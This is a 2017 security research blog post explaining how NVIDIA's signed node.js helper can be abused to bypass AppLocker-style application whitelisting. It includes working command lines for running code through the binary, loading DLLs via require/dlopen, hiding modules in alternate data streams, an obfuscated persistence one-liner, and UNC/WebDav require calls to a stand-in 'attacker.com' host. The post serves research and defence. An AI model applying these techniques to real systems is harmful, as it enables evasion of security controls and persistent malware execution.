Thursday, April 20, 2017

Abusing NVIDIA's node.js to bypass application whitelisting

Application Whitelisting


Application whitelisting is an important security concept which can be found in many environments during penetration testing. The basic idea is to create a whitelist of allowed applications and after that only allow the execution of applications which can be found in that whitelist. This prevents the execution of dropped malware and increases therefore the overall security of the system and network.

A very commonly used solution for application whitelisting is Microsoft AppLocker. Another concept is to enforce code and script integrity via signatures. This can be achieved on Microsoft Windows 10 or Server 2016 with Microsoft Device Guard.

SEC Consult Vulnerability Lab is doing research in this area since several years, bypass techniques were already presented in 2015 and 2016 at conferences such as CanSecWest, DeepSec, Hacktivity, BSides Vienna and IT-SeCX, see [1].

Knowing these bypass techniques is really important for administrators who maintain such protected environments because special rules must be applied to prevent these attacks.

Other good and recommended sources of known bypass techniques and hardening guides are blog posts from Casey Smith (subtee) [2], Matt Nelson (enigma0x3) [3] and Matt Graeber (mattifestation) [4].

NVIDIA's node.js


During a quick research in a different area, I came across a system which had NVIDIA drivers installed. The following executable gets installed by NVIDIA:

%ProgramFiles(x86)%\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
This is a renamed version of node.js (but signed by NVIDIA Corporation) which can be verified via the meta data of the file:



That means we can find node.js on systems with NVIDIA drivers installed. Since this file is already on the system and it has a valid signature, it will be whitelisted by the application whitelisting solution.

Nowadays, the most common technique to bypass application whitelisting is to start PowerShell, because the target code can be passed inside arguments, it has full access to the Windows API, it is a signed binary from Microsoft and it can be found on all newer systems. However, it’s the first binary which gets removed from the whitelist by administrators, PowerShell v5 provides very good logging (attack detection and forensic), Device Guard UMCI (user mode code integrity) places PowerShell in Constrained Language mode and Antivirus solutions monitor malicious invocations of PowerShell.

Nearly similar PowerShell advantages can be achieved by abusing node.js from NVIDIA if the target system has these drivers installed. It can be started in interactive mode which means that scripts can be passed via pipe (payloads are not written to disk). For example, the following command starts the calculator via node.js:

echo require('child_process').exec("calc.exe") | "%ProgramFiles(x86)%\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe" -i 




From attacker perspective, this opens two possibilities. Either use node.js to directly interact with the Windows API (e.g. to disable application whitelisting or reflectively load an executable into the node.js process to run the malicious binary on behalf of the signed process) or to write the complete malware with node.js. Both options have the advantage, that the running process is signed and therefore bypasses anti-virus systems (reputation-based algorithms) per default.

Writing malware completely in node.js has the great side-affect, that NVIDIA already installs addons with useful functions such as:
  • WebcamEnable (NvSpCapsAPINode.node) 
  • ManualRecordEnable (NvSpCapsAPINode.node) 
  • GetDesktopCaptureSupport (NvSpCapsAPINode.node) 
  • SetMicSettings (NvSpCapsAPINode.node) 
  • RecordingPaths (NvSpCapsAPINode.node) 
  • CaptureScreenshot (NvCameraAPINode.node) 
However, to get the full power of the Windows API, we can write addons in C/C++ for node.js:

Node.js Addons are dynamically-linked shared objects, written in C or C++, that can be loaded into Node.js using the require() function, and used just as if they were an ordinary Node.js module. They are used primarily to provide an interface between JavaScript running in Node.js and C/C++ libraries. [5]

That means node.js has full access to the Microsoft Windows API and reflective DLL injection is possible.

To load such an Addon the path to the .node file must be passed to the require() function. Node files are normal PE files with some special exported functions, but it’s also possible to load any .dll file with one of the below code lines (an error will be thrown but DllMain gets executed):

require.extensions['.node'](module,"C:\\\\test.dll")
process.dlopen(module,"C:\\\\test.dll")


A drawback of the reflective DLL injection attack is that it requires one file write because as far as of my knowledge node.js doesn’t support execution of modules from memory (or to directly access the Windows API). It’s therefore required to drop one loader-module to disk, then load this module which acts as a wrapper for the Windows API. Using the dropped module, the script can then access the Windows API and reflectively load any executable / library into the signed node.js process (similar concept to Invoke-ReflectivePEInjection.ps1 from PowerSploit, see [6]).

Please note, that the above approach drops one file to disk, however, this is only a legit node.js module. The real malware can afterwards be loaded via the loader-module from memory and is therefore never written to disk.

The file can be dropped to the following location which is writeable by standard users:

%systemdrive%\ProgramData\NVIDIA Corporation\Downloader\
Overcoming the “issue” of the one-file-write is not trivial. It’s not really a big problem (e.g. the dropped file is not malicious and will not be detected by an AntiVirus solution), however, it could block execution in some cases (e.g. DLL AppLocker rules). Such DLL rules can be bypassed in several ways depending on the used product and configuration. For example, it's possible to abuse AppLocker default rules which allow execution of all files in %windir%/*. Therefore, an attacker can drop his node module to the writeable tasks folder:

%windir%\Tasks\
There are many similar writeable locations inside the %windir% folder. Let's assume that an administrator deny all these writeable locations by adding exclude rules for them. Is the system now secure?

The answer is NO because ADS can be abused. Since we can create a sub-folder in %windir%\tracing, we can create an ADS on the folder (for an explanation on ADS see Alex Inführ's blog post [7]). This can be used to bypass additional restrictions / monitoring rules. Let’s say we drop the following file:

%windir%\Tracing:module.node
All common APIs return as base folder %windir% and not %windir%\tracing which lets the module look like a file from the normal windows folder (however, a normal user does not have write permissions to %windir% ! ). 



This trick is already known and was described by James Forshaw on a different subject (unfortunately, I didn’t found the original post from him on it but in general all his posts are highly recommended).

What does that mean? Even if an administrator added additional exclude rules to the default rules to block writeable folders, we can still bypass AppLocker with the ADS.

The following figure shows this (AppLocker is configured to prevent C:\Windows\tracing\* and several other writeable locations): 



Here Microsoft's control.exe is used to load the library, however, it can also be loaded via node js (and using the fs-module it's possible to create the ADS).

Another possibility is to overwrite an existing library if application whitelisting was configured only based on paths (because of updates).

Here are some additional methods which I tried to avoide the file write at all:

Some methods which I tried for in-memory files 


UNC paths:

require("\\\\attacker.com\\malicious.js")
The code first tries to load the addon via SMB (port 445) and use WebDav (port 80) as fall-back. Since outgoing SMB traffic is in most environments forbidden, it would be good to directly access the data via WebDav (and it’s possible to create a WebDav server in JavaScript with node.js, but then firewall problems can occur). This is possible via paths such as the following two:

\\?\GLOBALROOT\Device\WebDavRedirector\attacker.com\malicious.node
\\;WebDavRedirector\attacker.com\malicious.node


A good explanation why these paths work can be found at [8].

However, both path formats are not allowed inside node.js (the code later calls lstat which throws a file not found exception). Moreover, Microsoft internally writes the file to %localappdata%, making the approach useless to achieve file-less exploitation.

Another idea was to abuse named pipes which can be created with node.js code, however, named pipes are not seekable and therefore LoadLibrary() / require() fail.

Calling CreateFile with FILE_ATTRIBUTE_TEMPORARY and FILE_FLAG_DELETE_ON_CLOSE creates in most cases an in-memory file, however, node.js does not provide a way to pass these flags inside JavaScript code.

For people wondering why NVIDIA ships with node.js


At startup, NVIDIA starts a webserver via node.js (providing functionality like the above mentioned webcam control) on a randomized port. To protect against attacks a random secret cookie is created and must be passed to interact with the service. The information about the used port number and cookie value can be extracted from the following file:

%localappdata%\NVIDIA Corporation\NvNode\nodejs.json 


Conclusion


For red teamers, it’s the recommended approach to use the fs module from node.js to write a loader addon to disk which gives access to the Microsoft Windows API from JavaScript code. Then JavaScript code can be used to download the (encrypted) payload from the internet and with the Windows API the JavaScript code can reflectively load the payload into its own process space and execute it.

Node.js itself can be started via one of the public known techniques (see our slides at [1]), for example .chm, .lnk, .js, .jse, Java applets, macros, from an exploited process, pass-the-hash and so on.

Standard obfuscation tricks can be used to further hide the invocation. For example, the following code starts calc.exe but tries to further hide:

echo "outdated settings;set colors=";c=['\162\145\161\165\151\162\145','\143\150\151\154\144\137\160\162\157\143\145\163\163','\145\170\145\143','\143\141\154\143'];global[c[0]](c[1])[c[2]](c[3]);"; set specialChars='/*&^"|;"%ProgramFiles(x86)%\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe" -i

Such code can be used as persistence mechanism (auto start) because the called binary is signed by NVIDIA and will be considered as safe. Of course, additional anti-monitoring tricks such as ^ or %programdata:~0,-20% can be used somewhere inside the above command line to further prevent detection, however, such code is in my opinion traitorous.

For security consultants, it's recommended to search for node.js binaries (file size > 10 MB and binary contains Node.js strings) during client security audits to identify other vendors which ship node.js to clients.

For blue teamers, it’s recommended to remove the file from the whitelist (if possible) or at least monitor it’s invocation.



This research was done by René Freingruber (@ReneFreingruber) on behalf of SEC Consult Vulnerability Lab. SEC Consult is always searching for talented security professionals to work in our team. More information can be found at: https://sec-consult.com/en/Career.htm


Sources


[1] https://cansecwest.com/slides/2016/CSW2016_Freingruber_Bypassing_Application_Whitelisting.pdf

[2] http://subt0x10.blogspot.co.at/

[3] https://enigma0x3.net/

[4] http://www.exploit-monday.com

[5] https://nodejs.org/api/addons.html